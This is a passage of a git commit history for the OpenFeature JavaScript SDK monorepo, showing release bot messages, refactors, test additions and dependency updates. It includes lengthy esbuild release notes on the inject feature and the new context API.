
---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://app.renovatebot.com/dashboard#github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS43MS40IiwidXBkYXRlZEluVmVyIjoiMzUuNzguMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-05-11 12:01:05 -04:00
Todd Baert 4ce6a75eab
chore: refactor events (#422)
No functional changes. Refactor to how events are done, specifically
with how they are maintained even across provider changes. This code is
easier to understand IMHO, and also requires a few less
structures/types.

Thanks to @RealAnna 's recent tests, we can do these changes with
confidence 🥳

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-11 08:23:17 -04:00
RealAnna 0861e49812
test: add events tests for web-sdk (#410)
- added tests based on [spec
PR](https://github.com/open-feature/spec/pull/171)

Signed-off-by: RealAnna <89971034+RealAnna@users.noreply.github.com>
2023-05-05 13:21:49 -04:00
Todd Baert 97fa63d87d
chore: rename integration tests e2e (#420)
These are end-to-end tests.

No functional changes. I did use `git mv` to try to preserve history as
best as possible.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-04 14:00:07 -04:00
RealAnna 34f3704cd6
test: add tests to provider init and shutdown (#411)
Signed-off-by: realanna <anna.reale@dynatrace.com>
2023-05-04 08:11:19 -04:00
Todd Baert 2039b2c5e1
chore: update boostrap sha
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-02 13:08:39 -04:00
Todd Baert 7456ee0aec
chore: wildcard for shared version (#419) 2023-05-01 16:26:02 -04:00
github-actions[bot] 1ead2aeccd
chore(main): release js-sdk 1.2.0 (#392)
🤖 I have created a release *beep* *boop*
---


##
[1.2.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.1.1...js-sdk-v1.2.0)
(2023-05-01)


### Features

* add caching for pipelines
([#384](https://github.com/open-feature/js-sdk/issues/384))
([55acc05](55acc05b26))


### Bug Fixes

* remove events exports from server
([#413](https://github.com/open-feature/js-sdk/issues/413))
([7cac0c8](7cac0c87ab))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <toddbaert@gmail.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-01 16:00:27 -04:00
github-actions[bot] aff7cfebb3
chore(main): release web-sdk 0.3.2-experimental (#415)
🤖 I have created a release *beep* *boop*
---


##
[0.3.2-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.1-experimental...web-sdk-v0.3.2-experimental)
(2023-05-01)


### Bug Fixes

* remove events exports from server
([#413](https://github.com/open-feature/js-sdk/issues/413))
([7cac0c8](7cac0c87ab))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-05-01 15:40:11 -04:00
github-actions[bot] 35bd12b329
chore(main): release shared 0.0.3 (#416)
🤖 I have created a release *beep* *boop*
---


##
[0.0.3](https://github.com/open-feature/js-sdk/compare/shared-v0.0.2...shared-v0.0.3)
(2023-05-01)


### Bug Fixes

* remove events exports from server
([#413](https://github.com/open-feature/js-sdk/issues/413))
([7cac0c8](7cac0c87ab))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-05-01 15:37:20 -04:00
Todd Baert 7cac0c87ab
fix: remove events exports from server (#413)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-01 15:30:16 -04:00
renovate[bot] f03ad75d7a
chore(deps): update dependency @rollup/plugin-alias to v5 (#399)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@rollup/plugin-alias](https://togithub.com/rollup/plugins/tree/master/packages/alias#readme)
([source](https://togithub.com/rollup/plugins)) | [`^4.0.3` ->
`^5.0.0`](https://renovatebot.com/diffs/npm/@rollup%2fplugin-alias/4.0.4/5.0.0)
|
[![age](https://badges.renovateapi.com/packages/npm/@rollup%2fplugin-alias/5.0.0/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/@rollup%2fplugin-alias/5.0.0/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/@rollup%2fplugin-alias/5.0.0/compatibility-slim/4.0.4)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/@rollup%2fplugin-alias/5.0.0/confidence-slim/4.0.4)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/plugins</summary>

###
[`v5.0.0`](https://togithub.com/rollup/plugins/blob/HEAD/packages/alias/CHANGELOG.md#v500)

[Compare
Source](d9a127755f...026afa307a)

*2023-04-04*

##### Breaking Changes

- feat: resolve entry id
[#&#8203;1402](https://togithub.com/rollup/plugins/pull/1402)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://app.renovatebot.com/dashboard#github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4zMi4xIiwidXBkYXRlZEluVmVyIjoiMzUuMzIuMSJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-04-24 15:34:28 -04:00
Moritz Wiesinger f40c1536c2
test: add client SDK integration tests (#400)
- implements all integration tests from the test harness for the client
package

Signed-off-by: Moritz Wiesinger <moritz.wiesinger@dynatrace.com>
Co-authored-by: Todd Baert <toddbaert@gmail.com>
2023-04-24 15:11:26 -04:00
Michael Beemer 0c2befdbdb
update link to use new doc domain 2023-04-14 16:50:13 -04:00
RealAnna 39f64742cf
test: add unit test to packages/client (#398)
Signed-off-by: RealAnna <89971034+RealAnna@users.noreply.github.com>
Co-authored-by: Todd Baert <toddbaert@gmail.com>
2023-04-11 19:04:14 -04:00
Todd Baert 768764b359
chore: new readme (#401)
Adds a new readme, which I believe will serve as a good template for the
other SDKs.

The only difference is since this is a monorepo, the `Requirements`,
`Installation`, `Features`, and `Usage` sections are broken out into
readmes in the respective modules.

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-04-10 12:59:13 -04:00
github-actions[bot] 9d4ab4c00c
chore(main): release web-sdk 0.3.1-experimental (#397)
🤖 I have created a release *beep* *boop*
---


##
[0.3.1-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.0-experimental...web-sdk-v0.3.1-experimental)
(2023-04-03)


### Bug Fixes

* import cycle
([#395](https://github.com/open-feature/js-sdk/issues/395))
([ac0f10d](ac0f10d04e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-04-03 18:15:16 -04:00
Todd Baert ac0f10d04e
fix: import cycle (#395) 2023-04-03 17:24:39 -04:00
Todd Baert 9caf987f62
docs: fix typedoc build process (#394) 2023-04-03 16:44:26 -04:00
fossabot 1a19ddc495
docs: add license scan report and status (#390)
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-04-03 14:34:09 -04:00
renovate[bot] e6064c363d
chore(deps): update dependency eslint-plugin-jsdoc to v40 (#363)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-04-03 13:38:44 -04:00
github-actions[bot] 5c4ad034d6
chore(main): release web-sdk 0.3.0-experimental (#391)
🤖 I have created a release *beep* *boop*
---


##
[0.3.0-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.2.0-experimental...web-sdk-v0.3.0-experimental)
(2023-04-03)


### ⚠ BREAKING CHANGES

* use bundled event emitter type
([#389](https://github.com/open-feature/js-sdk/issues/389))

### Features

* use bundled event emitter type
([#389](https://github.com/open-feature/js-sdk/issues/389))
([47d1634](47d1634110))


### Bug Fixes

* fix readme typo
([a23f899](a23f899d68))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-04-03 10:45:54 -04:00
Todd Baert a23f899d68
fix: fix readme typo
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-04-03 10:36:49 -04:00
Todd Baert 47d1634110
feat!: use bundled event emitter type (#389)
⚠️ This change only impacts the experimental web-sdk.

This includes an aliased, bundled version of `EventEmitter` so we have
full control over that API/implementation, and consumers don't need the
`events` dep for browsers.

We currently bundle [events](https://www.npmjs.com/package/events) (a
browser polyfill for the node events API) into this package, but a
provider author who wants to implement events in their provider would
need to install that package as well. This removes the need for that.
Interested in others' thoughts.

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-31 15:07:11 -04:00
Michael Beemer eb00fb016a
docs: fix broken link (#383)
## This PR

- fixes an invalid link

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-03-24 12:22:32 -04:00
Todd Baert b21ed32503
chore: add CODEOWNERS
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-23 15:23:09 -04:00
RealAnna 55acc05b26
feat: add caching for pipelines (#384)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds npm caching in all pipelines, with cache setup node takes 5s
against 12s of before

![image](https://user-images.githubusercontent.com/89971034/227175858-703a6145-dced-425b-9ca1-19c7851c5b7a.png)


### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #310

### Notes
<!-- any additional notes for this PR -->
since 14 is now too old, we decided that 16 was the best version to
avoid breaking changes

---------

Signed-off-by: realanna <anna.reale@dynatrace.com>
2023-03-23 12:02:16 -04:00
github-actions[bot] 818ec5c52c
chore(main): release web-sdk 0.2.0-experimental (#381)
🤖 I have created a release *beep* *boop*
---


##
[0.2.0-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.1.0-experimental...web-sdk-v0.2.0-experimental)
(2023-03-22)


### ⚠ BREAKING CHANGES

* use node style events, add initialize
([#379](https://github.com/open-feature/js-sdk/issues/379))

### Features

* use node style events, add initialize
([#379](https://github.com/open-feature/js-sdk/issues/379))
([6625918](6625918611))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-03-22 15:34:58 -04:00
Todd Baert 6625918611
feat!: use node style events, add initialize (#379)
Adds and `initialize` handler, and uses node-style event emitters.

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-22 15:32:02 -04:00
Todd Baert 2ff7135584
chore: separate PRs (#380)
Create separate PRs for each artifact

Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-22 15:19:36 -04:00
Todd Baert eec1fffdec
chore: use default tags for client publish (#375)
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-13 11:14:49 -04:00
github-actions[bot] f34676c8a8
chore: release main (#374)
🤖 I have created a release *beep* *boop*
---


<details><summary>web-sdk: 0.1.0-experimental</summary>

##
[0.1.0-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.0.2-experimental...web-sdk-v0.1.0-experimental)
(2023-03-13)


### ⚠ BREAKING CHANGES

* remove context from client interfaces
([#373](https://github.com/open-feature/js-sdk/issues/373))

### Bug Fixes

* remove context from client interfaces
([#373](https://github.com/open-feature/js-sdk/issues/373))
([a692a32](a692a329ac))
</details>

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-03-13 10:27:25 -04:00
Todd Baert a692a329ac
fix!: remove context from client interfaces (#373)
This PR removes the context from the client's API (as per draft spec).

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-13 10:23:13 -04:00
github-actions[bot] 6478a8e518
chore: release main (#372)
🤖 I have created a release *beep* *boop*
---


<details><summary>@openfeature/js-sdk: 1.1.1</summary>

### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/shared bumped from 0.0.1 to 0.0.2
</details>

<details><summary>shared: 0.0.2</summary>

##
[0.0.2](https://github.com/open-feature/js-sdk/compare/shared-v0.0.1...shared-v0.0.2)
(2023-03-09)


### Bug Fixes

* add docs to EventTypes
([e9f3d32](e9f3d3209d))
</details>

<details><summary>@openfeature/web-sdk: 0.0.2-experimental</summary>

### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/shared bumped from 0.0.1 to 0.0.2
</details>

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-03-09 16:05:38 -05:00
Todd Baert e9f3d3209d fix: add docs to EventTypes
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-09 16:03:24 -05:00
Todd Baert 82e5fb32f3 chore: use "releases" in CI
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-09 16:00:59 -05:00
Todd Baert 75435acddf chore: use numbered shared version
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-09 15:31:19 -05:00
Todd Baert b1d8dcd6c3 chore: add CHANGELOG to client
Signed-off-by: Todd Baert <toddbaert@gmail.com>
2023-03-09 15:13:49 -05:00
Todd Baert 39c3b1638e
chore: monorepo conversion + experimental web sdk (#353)
This PR transfroms this repo into a monorepo, with server (exsiting),
client (new) and shared (new) packages.

There are no tests yet for the client. Publishing _should_ work but is
yet untested.

The experimental web SDK will be published as `0.0.1-experimental` and
features:

- native browser events
- "close" functionality (implemented in server as well)
- async context setting
- sync evaluation

Though we want `close` and `events` in the server SDK, they are not
implemented in this PR (though it would be very easy to do so and I've
left TODO's about it). **There are no functional changes in the server
SDK with this PR.**

Here is a [direct
link](https://github.com/open-feature/js-sdk/blob/experimental-web-sdk/README.md)
to the README.md changes.

**_I'm not expecting reviewers to go through this with a fine-toothed
comb. Most of the changes are just establishing the monorepo, and the
functional stuff in the new web-sdk is just experimental._**.

Closes: https://github.com/open-feature/js-sdk/issues/367

---------

Signed-off-by: Todd Baert <toddbaert@gmail.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-03-09 14:43:41 -05:00
Michael Beemer 87786d78d9
docs: add signoff flag to contributing doc (#366)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-02-24 15:06:56 -05:00
Michael Beemer 5330825b2e
chore(deps): fix json5 vulnerability (#365)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-02-15 13:21:14 -05:00
Chris Donnelly 8b678f9456
chore: Add and use shx so build works on Windows. (#364)
Signed-off-by: Chris Donnelly
[cdonnellytx@users.noreply.github.com](mailto:cdonnellytx@users.noreply.github.com)

## This PR

- Adds the tool [shx] to be able to build on Windows.

### Notes

I opted for [shx] over a combination of other tools like [rimraf] and
[copyfiles] for the following reasons:

- Ease of use: shx understands common Unix options for cp/rm (and other
commands).
- Unlike rimraf, there is no clear winner for "copy a file with npm".

[shx]: https://www.npmjs.com/package/shx
[rimraf]: https://www.npmjs.com/package/rimraf
[copyfiles]: https://www.npmjs.com/package/copyfiles


### Follow-up Tasks

None.

### How to test

N/A

Signed-off-by: Chris Donnelly <chris.donnelly@coxautoinc.com>
2023-02-15 12:28:03 -05:00
renovate[bot] e6d74b39df
chore(deps): update dependency esbuild to ^0.17.0 (#361)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://togithub.com/evanw/esbuild) | [`^0.16.0` ->
`^0.17.0`](https://renovatebot.com/diffs/npm/esbuild/0.16.0/0.17.4) |
[![age](https://badges.renovateapi.com/packages/npm/esbuild/0.17.4/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/esbuild/0.17.4/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/esbuild/0.17.4/compatibility-slim/0.16.0)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/esbuild/0.17.4/confidence-slim/0.16.0)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild</summary>

###
[`v0.17.4`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;0174)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.17.3...v0.17.4)

- Implement HTTP `HEAD` requests in serve mode
([#&#8203;2851](https://togithub.com/evanw/esbuild/issues/2851))

Previously esbuild's serve mode only responded to HTTP `GET` requests.
With this release, esbuild's serve mode will also respond to HTTP `HEAD`
requests, which are just like HTTP `GET` requests except that the body
of the response is omitted.

- Permit top-level await in dead code branches
([#&#8203;2853](https://togithub.com/evanw/esbuild/issues/2853))

Adding top-level await to a file has a few consequences with esbuild:

1. It causes esbuild to assume that the input module format is ESM,
since top-level await is only syntactically valid in ESM. That prevents
you from using `module` and `exports` for exports and also enables
strict mode, which disables certain syntax and changes how function
hoisting works (among other things).
2. This will cause esbuild to fail the build if either top-level await
isn't supported by your language target (e.g. it's not supported in
ES2021) or if top-level await isn't supported by the chosen output
format (e.g. it's not supported with CommonJS).
3. Doing this will prevent you from using `require()` on this file or on
any file that imports this file (even indirectly), since the `require()`
function doesn't return a promise and so can't represent top-level
await.

This release relaxes these rules slightly: rules 2 and 3 will now no
longer apply when esbuild has identified the code branch as dead code,
such as when it's behind an `if (false)` check. This should make it
possible to use esbuild to convert code into different output formats
that only uses top-level await conditionally. This release does not
relax rule 1. Top-level await will still cause esbuild to
unconditionally consider the input module format to be ESM, even when
the top-level `await` is in a dead code branch. This is necessary
because whether the input format is ESM or not affects the whole file,
not just the dead code branch.

- Fix entry points where the entire file name is the extension
([#&#8203;2861](https://togithub.com/evanw/esbuild/issues/2861))

Previously if you passed esbuild an entry point where the file extension
is the entire file name, esbuild would use the parent directory name to
derive the name of the output file. For example, if you passed esbuild a
file `./src/.ts` then the output name would be `src.js`. This bug
happened because esbuild first strips the file extension to get `./src/`
and then joins the path with the working directory to get the absolute
path (e.g. `join("/working/dir", "./src/")` gives `/working/dir/src`).
However, the join operation also canonicalizes the path which strips the
trailing `/`. Later esbuild uses the "base name" operation to extract
the name of the output file. Since there is no trailing `/`, esbuild
returns `"src"` as the base name instead of `""`, which causes esbuild
to incorrectly include the directory name in the output file name. This
release fixes this bug by deferring the stripping of the file extension
until after all path manipulations have been completed. So now the file
`./src/.ts` will generate an output file named `.js`.

-   Support replacing property access expressions with inject

At a high level, this change means the `inject` feature can now replace
all of the same kinds of names as the `define` feature. So `inject` is
basically now a more powerful version of `define`, instead of previously
only being able to do some of the things that `define` could do.

Soem background is necessary to understand this change if you aren't
already familiar with the `inject` feature. The `inject` feature lets
you replace references to global variable with a shim. It works like
this:

    1.  Put the shim in its own file
2. Export the shim as the name of the global variable you intend to
replace
    3.  Pass the file to esbuild using the `inject` feature

For example, if you inject the following file using
`--inject:./injected.js`:

    ```js
    // injected.js
    let processShim = { cwd: () => '/' }
    export { processShim as process }
    ```

Then esbuild will replace all references to `process` with the
`processShim` variable, which will cause `process.cwd()` to return
`'/'`. This feature is sort of abusing the ESM export alias syntax to
specify the mapping of global variables to shims. But esbuild works this
way because using this syntax for that purpose is convenient and terse.

However, if you wanted to replace a property access expression, the
process was more complicated and not as nice. You would have to:

    1.  Put the shim in its own file
    2.  Export the shim as some random name
    3.  Pass the file to esbuild using the `inject` feature
4. Use esbuild's `define` feature to map the property access expression
to the random name you made in step 2

For example, if you inject the following file using
`--inject:./injected2.js --define:process.cwd=someRandomName`:

    ```js
    // injected2.js
    let cwdShim = () => '/'
    export { cwdShim as someRandomName }
    ```

Then esbuild will replace all references to `process.cwd` with the
`cwdShim` variable, which will also cause `process.cwd()` to return
`'/'` (but which this time will not mess with other references to
`process`, which might be desirable).

With this release, using the inject feature to replace a property access
expression is now as simple as using it to replace an identifier. You
can now use JavaScript's ["arbitrary module namespace
identifier names"](https://togithub.com/tc39/ecma262/pull/2154) feature
to specify the property access expression directly using a string
literal. For example, if you inject the following file using
`--inject:./injected3.js`:

    ```js
    // injected3.js
    let cwdShim = () => '/'
    export { cwdShim as 'process.cwd' }
    ```

Then esbuild will now replace all references to `process.cwd` with the
`cwdShim` variable, which will also cause `process.cwd()` to return
`'/'` (but which will also not mess with other references to `process`).

In addition to inserting a shim for a global variable that doesn't
exist, another use case is replacing references to static methods on
global objects with cached versions to both minify them better and to
make access to them potentially faster. For example:

    ```js
    // Injected file
    let cachedMin = Math.min
    let cachedMax = Math.max
    export {
      cachedMin as 'Math.min',
      cachedMax as 'Math.max',
    }

    // Original input
    function clampRGB(r, g, b) {
      return {
        r: Math.max(0, Math.min(1, r)),
        g: Math.max(0, Math.min(1, g)),
        b: Math.max(0, Math.min(1, b)),
      }
    }

    // Old output (with --minify)
function
clampRGB(a,t,m){return{r:Math.max(0,Math.min(1,a)),g:Math.max(0,Math.min(1,t)),b:Math.max(0,Math.min(1,m))}}

    // New output (with --minify)
var a=Math.min,t=Math.max;function
clampRGB(h,M,m){return{r:t(0,a(1,h)),g:t(0,a(1,M)),b:t(0,a(1,m))}}
    ```

###
[`v0.17.3`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;0173)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.17.2...v0.17.3)

- Fix incorrect CSS minification for certain rules
([#&#8203;2838](https://togithub.com/evanw/esbuild/issues/2838))

Certain rules such as `@media` could previously be minified incorrectly.
Due to a typo in the duplicate rule checker, two known `@`-rules that
share the same hash code were incorrectly considered to be equal. This
problem was made worse by the rule hashing code considering two unknown
declarations (such as CSS variables) to have the same hash code, which
also isn't optimal from a performance perspective. Both of these issues
have been fixed:

    ```css
    /* Original input */
@&#8203;media (prefers-color-scheme: dark) { body { --VAR-1:
#&#8203;000; } }
@&#8203;media (prefers-color-scheme: dark) { body { --VAR-2:
#&#8203;000; } }

    /* Old output (with --minify) */
@&#8203;media (prefers-color-scheme: dark){body{--VAR-2: #&#8203;000}}

    /* New output (with --minify) */
@&#8203;media (prefers-color-scheme: dark){body{--VAR-1:
#&#8203;000}}@&#8203;media (prefers-color-scheme: dark){body{--VAR-2:
#&#8203;000}}
    ```

###
[`v0.17.2`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;0172)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.17.1...v0.17.2)

- Add `onDispose` to the plugin API
([#&#8203;2140](https://togithub.com/evanw/esbuild/issues/2140),
[#&#8203;2205](https://togithub.com/evanw/esbuild/issues/2205))

If your plugin wants to perform some cleanup after it's no longer going
to be used, you can now use the `onDispose` API to register a callback
for cleanup-related tasks. For example, if a plugin starts a
long-running child process then it may want to terminate that process
when the plugin is discarded. Previously there was no way to do this.
Here's an example:

    ```js
    let examplePlugin = {
      name: 'example',
      setup(build) {
        build.onDispose(() => {
          console.log('This plugin is no longer used')
        })
      },
    }
    ```

These `onDispose` callbacks will be called after every `build()` call
regardless of whether the build failed or not as well as after the first
`dispose()` call on a given build context.

###
[`v0.17.1`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;0171)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.17.0...v0.17.1)

- Make it possible to cancel a build
([#&#8203;2725](https://togithub.com/evanw/esbuild/issues/2725))

The context object introduced in version 0.17.0 has a new `cancel()`
method. You can use it to cancel a long-running build so that you can
start a new one without needing to wait for the previous one to finish.
When this happens, the previous build should always have at least one
error and have no output files (i.e. it will be a failed build).

    Using it might look something like this:

    -   JS:

        ```js
        let ctx = await esbuild.context({
          // ...
        })

        let rebuildWithTimeLimit = timeLimit => {
          let timeout = setTimeout(() => ctx.cancel(), timeLimit)
          return ctx.rebuild().finally(() => clearTimeout(timeout))
        }

        let build = await rebuildWithTimeLimit(500)
        ```

    -   Go:

        ```go
        ctx, err := api.Context(api.BuildOptions{
          // ...
        })
        if err != nil {
          return
        }

rebuildWithTimeLimit := func(timeLimit time.Duration) api.BuildResult {
          t := time.NewTimer(timeLimit)
          go func() {
            <-t.C
            ctx.Cancel()
          }()
          result := ctx.Rebuild()
          t.Stop()
          return result
        }

        build := rebuildWithTimeLimit(500 * time.Millisecond)
        ```

This API is a quick implementation and isn't maximally efficient, so the
build may continue to do some work for a little bit before stopping. For
example, I have added stop points between each top-level phase of the
bundler and in the main module graph traversal loop, but I haven't added
fine-grained stop points within the internals of the linker. How quickly
esbuild stops can be improved in future releases. This means you'll want
to wait for `cancel()` and/or the previous `rebuild()` to finish (i.e.
await the returned promise in JavaScript) before starting a new build,
otherwise `rebuild()` will give you the just-canceled build that still
hasn't ended yet. Note that `onEnd` callbacks will still be run
regardless of whether or not the build was canceled.

- Fix server-sent events without `servedir`
([#&#8203;2827](https://togithub.com/evanw/esbuild/issues/2827))

The server-sent events for live reload were incorrectly using `servedir`
to calculate the path to modified output files. This means events
couldn't be sent when `servedir` wasn't specified. This release uses the
internal output directory (which is always present) instead of
`servedir` (which might be omitted), so live reload should now work when
`servedir` is not specified.

- Custom entry point output paths now work with the `copy` loader
([#&#8203;2828](https://togithub.com/evanw/esbuild/issues/2828))

Entry points can optionally provide custom output paths to change the
path of the generated output file. For example, `esbuild foo=abc.js
bar=xyz.js --outdir=out` generates the files `out/foo.js` and
`out/bar.js`. However, this previously didn't work when using the `copy`
loader due to an oversight. This bug has been fixed. For example, you
can now do `esbuild foo=abc.html bar=xyz.html --outdir=out
--loader:.html=copy` to generate the files `out/foo.html` and
`out/bar.html`.

- The JS API can now take an array of objects
([#&#8203;2828](https://togithub.com/evanw/esbuild/issues/2828))

Previously it was not possible to specify two entry points with the same
custom output path using the JS API, although it was possible to do this
with the Go API and the CLI. This will not cause a collision if both
entry points use different extensions (e.g. if one uses `.js` and the
other uses `.css`). You can now pass the JS API an array of objects to
work around this API limitation:

    ```js
    // The previous API didn't let you specify duplicate output paths
    let result = await esbuild.build({
      entryPoints: {
// This object literal contains a duplicate key, so one is ignored
        'dist': 'foo.js',
        'dist': 'bar.css',
      },
    })

    // You can now specify duplicate output paths as an array of objects
    let result = await esbuild.build({
      entryPoints: [
        { in: 'foo.js', out: 'dist' },
        { in: 'bar.css', out: 'dist' },
      ],
    })
    ```

###
[`v0.17.0`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;0170)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.17...v0.17.0)

**This release deliberately contains backwards-incompatible changes.**
To avoid automatically picking up releases like this, you should either
be pinning the exact version of `esbuild` in your `package.json` file
(recommended) or be using a version range syntax that only accepts patch
upgrades such as `^0.16.0` or `~0.16.0`. See npm's documentation about
[semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more
information.

At a high level, the breaking changes in this release fix some
long-standing issues with the design of esbuild's incremental, watch,
and serve APIs. This release also introduces some exciting new features
such as live reloading. In detail:

- Move everything related to incremental builds to a new `context` API
([#&#8203;1037](https://togithub.com/evanw/esbuild/issues/1037),
[#&#8203;1606](https://togithub.com/evanw/esbuild/issues/1606),
[#&#8203;2280](https://togithub.com/evanw/esbuild/issues/2280),
[#&#8203;2418](https://togithub.com/evanw/esbuild/issues/2418))

This change removes the `incremental` and `watch` options as well as the
`serve()` method, and introduces a new `context()` method. The context
method takes the same arguments as the `build()` method but only
validates its arguments and does not do an initial build. Instead,
builds can be triggered using the `rebuild()`, `watch()`, and `serve()`
methods on the returned context object. The new context API looks like
this:

    ```js
    // Create a context for incremental builds
    const context = await esbuild.context({
      entryPoints: ['app.ts'],
      bundle: true,
    })

    // Manually do an incremental build
    const result = await context.rebuild()

    // Enable watch mode
    await context.watch()

    // Enable serve mode
    await context.serve()

    // Dispose of the context
    context.dispose()
    ```

The switch to the context API solves a major issue with the previous API
